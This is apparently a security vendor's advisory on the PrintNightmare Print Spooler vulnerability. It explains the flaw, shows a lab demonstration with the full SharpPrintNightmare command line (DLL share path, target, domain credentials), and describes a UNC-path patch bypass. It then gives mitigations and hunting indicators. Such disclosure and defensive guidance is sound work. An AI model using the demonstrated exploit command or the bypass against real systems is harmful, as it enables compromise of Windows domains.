Demystifying The PrintNightmare Vulnerability
Learn about the PrintNightmare vulnerability, why it’s such a cause for concern and how to mitigate the risk.
- On June 28th, a critical remote code execution vulnerability was published, impacting Windows operating systems.
- The vulnerability allows threat actors who gained initial access to the environment to fully compromise the network and deploy additional malware or ransomware.
- Threat intel indicates the vulnerability is actively exploited in the wild.
- An urgent out-of-band urgent patch was released by Microsoft to remediate the vulnerability.
- We urge organizations to patch and follow our hardening and mitigation guidelines detailed below, as we expect ransomware threat actors to abuse this vulnerability in the immediate future.
- It’s recommended to conduct hunting activities to identify exploitation of the PrintNightmare vulnerability.
A newly discovered vulnerability in the Print Spooler Windows service, widely referred to as “PrintNightmare”, allows Remote Code Execution (RCE) on any Server or Workstation with the Print Spooler service enabled. Since the service is enabled by default on any machine, and since this vulnerability practically enables any user in the internal network to fully compromise the Active Directory domain by exploiting a domain controller, it has gained major traction and requires an immediate response from organizations. It took Microsoft about 10 days to release security patches for all Windows versions that remediate this vulnerability; and these patches are effective only under certain constrains that will be detailed later in this document.
So how come exploits for this vulnerability were published before security patches were released, making it a critical zero-day vulnerability? Here is where the plot thickens. As part of the June 2021 security updates, Microsoft addressed a Print Spooler vulnerability assigned with CVE-2021-1675. Initially, it was classified as a low severity vulnerability allowing Local Privilege Escalation (LPE); and on June 21st, Microsoft changed the classification as it was discovered that the flaw allows Remote Code Execution (RCE) as well.
Once the new CVE was published, security researchers Zhipeng Huo, Piotr Madej and Yunhai Zhang, that have disclosed the vulnerability details to Microsoft beforehand (reportedly a year ago) and believed it was already fixed, decided to publish their work, including a proof-of-concept (PoC). They shared on Twitter that they discovered the new vulnerability in the Print Spooler Windows service that allows RCE, indicating that it was CVE-2021-1675.
However, it turned out that the vulnerability exploited by the PoC was not, in fact, identical to CVE-2021-1675. The PoC was found to be effective against servers patched with June 2021 updates under some constrains, including against domain controllers running under default configurations. Although the researchers deleted their PoC from GitHub, it was already forked and was followed by many additional public PoCs, and embedded within the well-known Mimikatz tool. On July 1st, Microsoft assigned the unpatched vulnerability the ID of CVE-2021-34527, stating that it is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in the same Print Spooler API call.
On July 6th, Microsoft has released an out-of-band security update to address CVE-2021-34527 for some of the Windows versions (2019, 2012 R2, 2008 R2, 2008, 10 of version 1703 and above, 8.1, 7), and on July 8th for the remaining versions as well (2016, 2012, Windows 10 version 1607). However, it was quickly discovered that this patch does not provide complete protection either – in case where a certain non-default configuration is set (Point and Print warnings disabled), the patch can be bypassed to gain both RCE and LPE.
For detailed descriptions of the vulnerability and exploitation vectors, skip to “The PrintNightmare Vulnerability” section.
For detailed mitigation recommendations, skip to the “Mitigation” section.
For Microsoft advisories, see:
What is print spooler service?
Print Spooler (aka “Spooler”) is a service that comes built-in in all Microsoft operating systems. It is enabled by default and runs within the SYSTEM context. This service manages the paper printing jobs.
The Print Spooler service accepts print jobs from the computer, makes sure that printer resources are available and schedules the order in which jobs are sent to the print queue for printing.
On domain controllers, the Print Spooler service is also responsible for printer pruning from Active Directory. This job checks if the print server is reachable and the printer is still shared, if not, deletes the printQueue object from AD.
The service implements the print client and print server roles, as can be seen in the diagram below.
For the print server role, the Print Spooler service registers RPC endpoints for the print protocols [MS-PAR] [MS-RPRN] [MS-PAN]. The Print Spooler service also exposes local interfaces that extend Internet Information Services (IIS) to support the Internet Printing Protocol (IPP) [RFC8010] [RFC8011] and the Web Point-and-Print Protocol [MS-WPRN] if they are configured to support IPP.
“PrintNightmare” is not the first security issue found in the Print Spooler service, and disabling it was considered to be a security best practice for some time now (see Microsoft recommendation regarding Printer Spooler). Several vulnerabilities were found in relation to the service. Among the most prominent ones were CVE-2020-1337, CVE-2020-1070, CVE-2020-1048, CVE-2019-0683, and CVE-2010-2729 – which gained some additional publicity by being one of the zero-day vulnerabilities used by the famous Stuxnet worm.
Another interesting attack vector involving Print Spooler, and a useful one for attackers, is commonly referred to as “The Printer Bug”, identified in 2018 by security researchers. To exploit this vector, an unprivileged attacker in the network can remotely request a domain controller’s Print Spooler service to update an attacker-controlled host on new print jobs, by calling the RpcRemoteFindFirstPrinterChangeNotificationEx API. The domain Controller would then authenticate to the attacker-controlled host, an act that can be abused to impersonate the domain Controller and compromise the domain in case of running on a system with unconstrained Kerberos Delegation. This vector can also be leveraged for some NTLM relay use cases, in case that the victim’s computer account has administrative access on other machines. Unfortunately, Microsoft has classified this behavior as an intended one, by design, and do not plan on fixing it.
For more information about “The Printer Bug” vulnerability, please refer to:
The “Printnightmare” vulnerability
The main flaw that allows the RCE vulnerability is within the RpcAddPrinterDriverEx() call, which is part of the MS-RPRN protocol (Print System Remote Protocol) and allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is granted by default only for members of the Administrators or Print Operators group.
Unfortunately, RpcAddPrinterDriverEx() has a logical bug that allows users who are not part of the Administrators or Print Operators groups to bypass authorization and load drivers to the remote system. By manipulating two of the parameters used by RpcAddPrinterDriverEx(), a remote unprivileged user may specify their own driver DLL be installed. Such malicious driver might, for example, create an administrative account on the victim server, or deploy a malware that would communicate with an attacker-controlled C2 server.
On July 3rd, a security researcher known by the nickname cube0x0 twitted that he was able to exploit the MS-PAR protocol too, using the RpcAsyncAddPrinterDriver() call which is similar to RpcAddPrinterDriverEx() and also allows loading drivers remotely to the target machine.
Although both the MS-RPRN and MS-PAR protocols are vulnerable to this exploit, MS-PAR requires less constrains for the exploitation to be successful.
To exploit the PrintNightmare vulnerability using the MS-PAR protocol, the attacker will need:
- Print Spooler service running on the target machine and allowing remote connections (enabled by default).
- Username and password of any user in the domain.
- A network share that will be accessible from the attacked server (to store the DLL).
To exploit the vulnerability against the MS-RPRN protocol, there are additional constrains to be met (one of them is enough):
- On domain Controllers, the user must be member of the built-in group “Pre-Windows 2000 Compatible Access”. By default, the group contains “Authenticated Users”.
- The Point and Print warnings on install and update should be disabled, to not require elevation on printer driver installation. This is not the default configuration of Windows, as by default Point and Print warnings are enabled.
- The UAC should be turned off and do not enforce “Admin Approval Mode”. This is not the default configuration of Windows, as by default UAC is enabled and enforcing Admin Approval Mode.
Here we showcase a demonstration of how easily this vulnerability can be exploited. In this demo we will use the cube0x0 PoC (C# version).
For that purpose, we have created a lab environment. The lab Includes two servers within the domain “lab.local”:
- Victim: Spool-Win2016 – 10.10.0.20 – Windows 2016 domain controller
- Attacker: 10.10.0.61 – Windows 2019 Domain member server
First, we will need to download and compile the solution.
The next step will be to create a network share that will be accessible by the target machine. In this case we will create one on the Attacker server. The network share requires to be set with everyone permissions. The share will contain the malicious DLL that will be executed on the target machine.
We chose to use a DLL that will execute calculator application on the target machine, essentially a threat actor can execute malicious code that will allow him to gain access as a Domain Admin when running against a domain controller.
Now we can easily execute the DLL using the SharpPrintNightmare.exe tool with the appropriate arguments through PowerShell:
.\SharpPrintNightmare.exe ‘\\10.10.0.61\share\calc.dll‘ ‘\\10.10.0.20′ lab.local user Password1
- ‘\\10.10.0.61\share\calc.dll’ – Path to the DLL within the network share
- ‘\\10.10.0.20’ – The path to the target machine
- ‘lab.local’ – The Domain context for the user\machine
- ‘user Password1’ – a domain user and its credentials, non-admin on the target machine
Once executed, we can see the that exploit completed successfully:
We can validate that by using Process Explorer from Sysinternals suite on the target machine.
In most cases, vulnerabilities such as this one would be safely mitigated by security patches of the vendor. Unfortunately, that wasn’t the case here, maybe due to the legacy nature of the Print Spooler service and the complexity of Windows RPC APIs.
After the initial PrintNightmare PoC was published, which uses the RpcAddPrinterDriverEx MS-RPRN call, it was quickly identified that domain controllers with the CVE-2021-1675 patch of the June 2021 installed are still vulnerable. This is because their Spooler service granted elevated access for members of the built-in group “Pre-Windows 2000 Compatible Access”, which contains “Authenticated Users” by default. At the time, member servers patched with June 2021 updates seemed to be protected.
However, as things kept escalating and the described above MS-PAR vulnerability was identified, this was no longer correct – as member servers are vulnerable to it even when patched with June updates. This dramatically expanded the set of machines vulnerable to “PrintNightmare” and reduced the impact of the initial patch.
On July 6th, an out-of-band security patch for CVE-2021-34527 was released by Microsoft. This patch protects against MS-RPRN and MS-PAR RCE exploits and covers CVE-2021-1675 vectors as well. However, few gaps exist in this patch as well:
- At first, it was not applicable to Windows Server 2019, Server 2016, and Windows 10 version 1607. This was resolved today, July 8th, when patches for the remaining versions were published.
- In case that Point & Print warnings are disabled, the patch doesn’t properly mitigate RCE. This behavior occurs since after installing the patch, Spooler blocks injected DLL files with a network path of the format \\<server>\<share>; however, it doesn’t block DLL files of the alternative format “\??\UNC\<server>\<share>”. Mimikatz already implemented a native functionality to make use of this format and bypass the patch restrictions.
Nevertheless, it is still highly recommended to install the latest Windows patches on all versions to significantly reduce the attack surface and keep track of any newly published security patches.
Based on understanding the attack process and modeling the attack in several environments, we recommend the following to mitigate the attack, focusing on domain controllers at the first and most prioritized stage, and proceeding with member servers and workstations. If the environment allows, implement all the methods below to achieve defense in-depth and ensure greater security coverage against all the Print Spooler related risks.
Method 1: Install latest CVE-2021-34527 security updates
Installing the latest security patches released by Microsoft on July 6th and July 8th (KB5004947) will protect against “PrintNightmare” RCE and LPE exploits on domain controllers and member servers, as long as “Print and Point” warnings on install are not disabled. This patch was released in an out-of-band manner, separate from the standard monthly cycle. As per Microsoft, after installing these updates non-administrators should be allowed to install signed print drivers to a print server, thereby blocking the ability of installing malicious code.
For more information, see Microsoft guidance:
The update also offers the ability to prevent non-administrators from installing any print drivers on a print server, including signed drivers, by configuring the “RestrictDriverInstallationToAdministrators” registry value. In case that this setting is hardened, the exploit will fail to execute regardless of Point and Print restrictions. We recommend on implementing this measure as well, but not necessarily as an immediate action.
For information on this option, see:
Method 2: Disable Print Spooler service
(For domain controllers & non-print servers)
Disabling the Print Spooler service will mitigate the PrintNightmare vulnerability, as well as any other risks related to the service, such as LPE exploits and the “Printer Bug” described above. We highly recommend to apply a GPO that will enforce the Print Spooler service to be disabled on existing and newly created machines that do not require printing functionality.
You will find this option at:
- Computer Configuration > Preferences > Control Panel Settings > Services.
- Right click > New > Service.
- At the “Service name” field enter “Spooler”, change the “Startup” to “Disabled” and the “Service action” to “Stop service”.
This can also be accomplished manually by running the following PowerShell command:
Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled
Or by the following command line:
net stop spooler && sc config spooler start=disabled
Potential consequences of using this method:
- A machine with the Print Spooler service disabled will not be able to process any printing jobs. So, make sure you only apply this on servers that do not require this capability, including domain controllers, and avoid applying on workstations.
- On domain controllers taking the actions above will disable printer pruning. This functionality automatically removes printer objects from Active Directory that are no longer available. According to Microsoft, in case that this functionality is required, it can be replaced by a PowerShell script which will be run periodically.
Method 3: Disable inbound remote printing through Group Policy
(For domain controllers, non-print servers and workstations)
For machines that do need the ability to print locally or through a shared printer, where the Print Spooler cannot be disabled, you can instead disable inbound remote printing to shutdown the print server functionality within the Print Spooler service and prevent RCE risks. To ensure defense-in-depth, we recommend on applying this measure on other machines as well. Local Privilege Escalation (LPE) exploits are still applicable when inbound remote printing is disabled, depending on specific configuration of Point and Print warnings and UAC (detailed under “The PrintNightmare Vulnerability” section).
This configuration can also be applied using GPO, and can be found at:
- Computer Configuration > Policies > Administrative Templates > Printers
- Open the “Allow Print Spooler to accept client connections:” and choose “Disabled” to block remote attacks.
Note: For this policy to be applied the Print Spooler service needs to be restarted.
Potential consequences of using this method:
When the policy is disabled, the Spooler service will not accept client connections nor allow users to share printers. It will not impact printing capabilities with local or remote shared printers and all printers currently shared will continue to be shared.
Method 4: Ensure Point and Print installation prompts are enabled
Point and Print is a term that refers to the capability of allowing a user on a Windows client to create a connection to a remote printer without providing disks or other installation media. All necessary files and configuration information are automatically downloaded from the print server to the client.
By default, when the user installs drivers using the Print and Point mechanism, an elevation warning is shown and the user is required to approve the action. In case where this warning is disabled, few exploitation avenues are possible, including RCE on machines patched with the CVE-2021-34527 update that are not hardened with methods 2 or 3 above. Since methods 2 and 3 are not applicable for print servers, this method is essential in protecting them.
This configuration can also be applied using GPO, and can be found at:
- Computer Configuration > Policies > Administrative Templates > Control Panel > Printers
- Open the “Point and Print Restrictions” and set both “Security prompts” to “Show warning and elevation prompt”
This can also be achieved by setting the following registry values, or ensuring that they do not exist:
Consequences of this method:
By applying these security settings, you enforce the user to approve driver installation within a popup window.
Method 5: Block inbound connectivity using firewall
Although this method is difficult to implement and requires the effort of mapping the required connectivity within your network, it is one of the most beneficial methods to protect your assets against any attack and not only from “PrintNightmare”.
Specifically, for mitigating the “PrintNightmare” attack you need to block TCP port 445, used by the SMB protocol, and TCP port 135 which is used by RPC. This is highly recommended to apply on workstations, using the Windows Host-based Firewall or a third-party solution, but should also be examined for member servers that are not being used as print or file servers. On domain controllers, blocking ports 445 and 135 is not applicable, as they are being regularly used by domain clients; however, you can potentially block outbound 445 traffic from domain controllers, as it is not required for standard functionality and will prevent the attacked domain controller from fetching the malicious driver from remote file servers.
Start with protecting your domain controllers as they are the most valuable assets in your organization, then proceed with member servers and workstations.
To cover all exploitation avenues while ensuring defense-in-depth, we recommend taking the following actions:
- Implement Method 1 – make sure to patch your environment with the latest CVE-2021-34527 security updates and keep track of future patches. This will mitigate “PrintNightmare” as long as Method 4 is followed as well.
- Implement Method 2 – disable the Print Spooler service on domain controllers and non-print servers. This will mitigate all the Spooler attack vectors on the applied machines.
- Implement Method 3 – disable the print server functionality on domain controllers, non-print servers and workstations. This will mitigate all RCE attack vectors on the applied machines.
- Implement Method 4 – ensure that installation of print drivers without elevation prompt is not allowed, on all endpoints. This is required to ensure patch effectiveness and is currently the only method the fully protect print servers with the July 06th/08th patch installed.
- Hunt for IOCs (indicators of compromise) as mentioned below to detect any potential exploitation in your network.
Detecting and hunting “Printnightmare”
There are serval ways to detect “PrintNightmare” exploitation, either by using the Windows built-in Event Log mechanism or by using an existing Endpoint Detection & Response (EDR) solution, such as Microsoft Defender for Endpoint.
Windows Event Log:
Windows Event Logs record system, security and application notifications created by the Windows operating system. Several logs record events related to the Print Spooler activity. However, these logs are not activated by default and needs to be configured either by PowerShell or Windows Group Policy. The relevant event logs are:
Event IDs of interest include:
- Microsoft-Windows-PrintService/Operational, EID 316: the event records the name of the added printer driver and the DLLs it uses. This event will be logged both on successful and unsuccessful attempts to exploit “PrintNightmare”.
- Microsoft-Windows-PrintService/Operational, EID 811: records information regarding failed operations. This event will provide information about the full path of the loaded DLL.
- Microsoft-Windows-PrintService/Admin EID 808, in combination with Microsoft-Windows-SMBClient/Security EID 31017 can be used to detect unsigned drivers loaded by spoolsv.exe.
Several independent researchers and commercial companies have released queries that can be utilized to perform threat hunting and identify “PrintNightmare” exploitation:
- Tool IOC: If the adversaries are using the tool Mimikatz to perform the attack, a print driver named ‘QMS 810’ will be created. This can be identified by EDR logging changes to the registry (e.g., Sysmon EID 13).
- Search for the process spoolsv.exe launching rundll32.exe as a child process with an empty command line.
- Search for creation of suspicious DLL files spawned in the %WINDIR%\system32\spool\drivers\x64\3\ folder along with DLLs that were loaded afterwards from %WINDIR%\system32\spool\drivers\x64\3\Old\.
- Look for suspicious Spoolsv.exe child processes (e.g., cmd.exe, powershell.exe etc.).
- Monitor for creation of suspicious files in the %WINDIR%\system32\spool\drivers\x64\ folder.
- Analyze failed attempts to install new print drivers. For example, search the message “The print spooler failed to load a plug-in module” in Microsoft-Windows-PrintService/Admin EID 808. This can be correlated with Microsoft-Windows-SMBClient/Security EID 31017, which may log insecure guest access errors (since Guest access is blocked by default on systems like Windows Server 2019).
- Hunt for DLLs which are part of the PoC codes that were made public: ‘MyExploit.dll’, ‘evil.dll’, ‘\addCube.dll’, ‘\rev.dll’, ‘\rev2.dll’, ‘\main64.dll’, ‘\mimilib.dll’. If you identify one of them in EID 808, in Sysmon logs or in you EDR solution, it is a strong indication of an exploitation attempt.
Microsoft provides the above-mentioned queries for Microsoft 365 Defender in the following link:
Splunk is offering similar queries and have integrated them into Spunk Security Essentials. Their queries are based on Sysmon and they can be found in the following link: